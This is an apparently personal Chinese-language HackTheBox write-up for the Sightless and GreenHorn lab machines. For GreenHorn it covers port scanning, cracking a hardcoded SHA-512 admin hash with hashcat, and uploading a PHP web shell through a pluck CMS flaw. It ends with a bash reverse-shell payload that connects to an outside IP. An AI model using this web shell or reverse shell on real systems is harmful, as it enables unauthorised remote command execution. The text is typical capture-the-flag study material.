【hackthebox】解题记录

Sightless

信息搜集

先用nmap扫描一下:nmap -sC -sV 10.10.11.32 -T4 -oN nmap.txt
端口开放
发现有web服务,访问web页面。另外存在ftp和ssh服务,这些都可能是后面的突破点,先看下web服务。
Unknown host
需要修改下host文件了,添加一行 10.10.11.32 sightless.htb
访问http://sightless.htb
页面中只有一个SQLPad是有用的,我们访问这个页面(仍然需要修改host文件)
SQLPad
首先想到的是SQLPad应该是会有一些CVE在的,百度搜一下发现有个
CVE
刚好和当前的版本是一致的

太寄了
https://medium.com/@vikram1337/sightless-hackthebox-9599be0ee25b

GreenHorn

https://blog.csdn.net/zegeai/article/details/122660540
https://blog.csdn.net/weixin_63279914/article/details/142436931
https://blog.csdn.net/qq_23003811/article/details/140635016

还是常规的先进行信息搜集,探测下端口

80、3000、9001都开放了,访问web服务(修改host)
看上去是个论坛
进一步搜集发现数据包中有cms信息指纹:pluck 4.7.18,百度了下有CVE漏洞,是文件上传的命令执行,但需要首先登录到后台,尝试猜了下密码,失败了。
还有两个端口没看,试试看有没有新思路,访问3000端口,看上去是一个类似git的内部版本控制平台,注册账号进入后发现有套源代码,就是上面的pluck

下载分析,直接看login.php,有相应的登陆逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$pass = hash('sha512', $cont1);

if (($pass == $ww) && (!isset($login_error))) {
$_SESSION[$token] = 'pluck_loggedin';

//Delete loginattempt file, if it exists.
if (file_exists(LOGIN_ATTEMPT_FILE))
unlink(LOGIN_ATTEMPT_FILE);

//Display success message.
show_error($lang['login']['correct'], 3);
if (isset($_SESSION['pluck_before']))
redirect($_SESSION['pluck_before'], 1);
else
redirect('admin.php?action=start', 1);
include_once 'data/inc/footer.php';
exit;
}

全局检索 $ww ctrl+shift+F 发现密码硬编码在文件中,是经过sha512哈希后的。
网上查了下,可以用hashcat爆破下,用到了kali自带的字典 wordlists/rockyou.txt爆破语句如下
hashcat -a 0 -m 1700 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163' /usr/share/wordlists/rockyou.txt
上面的命令是使用hashcat,一个广泛使用的密码恢复工具,来尝试破解哈希值。hashcat 支持多种加密算法,并能利用CPU和GPU的强大力量来加速密码的恢复过程。这里是命令的详细解析:

  • -a 0: 这个选项指定了攻击模式,0代表直接字典攻击。在这种模式下,hashcat 会使用一个字典文件中的每一个词条来生成哈希,然后与给定的哈希值进行比较。
  • -m 1700: 这个选项指定了哈希类型,1700代表SHA-512算法。hashcat 支持多种哈希算法,每种算法都有一个独特的代码。
  • /usr/share/wordlists/rockyou.txt: 这是字典文件的路径。rockyou.txt是一个非常著名的密码字典,包含了数百万常用密码,这些密码是从历史数据泄露中汇编而成。hashcat 将使用这个文件中的每一个词条作为输入,生成哈希值,并检查是否与目标哈希值匹配。

    根据输出结果可以判断成功爆破出密码:iloveyou1,成功登陆后台。

    利用pluck的漏洞,构造文件phpinfo.php,<?php phpinfo();system($_GET[cmd]);?>,并压缩成压缩包,phpinfo.zip。上传之后自动跳转

    成功看到phpinfo界面
    但后续按照上面的博客继续尝试,发现不能执行命令,被拦截了,尝试直接反弹shell:
    1
    2
    <?php system("bash -c 'bash -i >& /dev/tcp/106.54.6.xxx/4444 0>&1' "); ?>
    zip rev.zip rev.php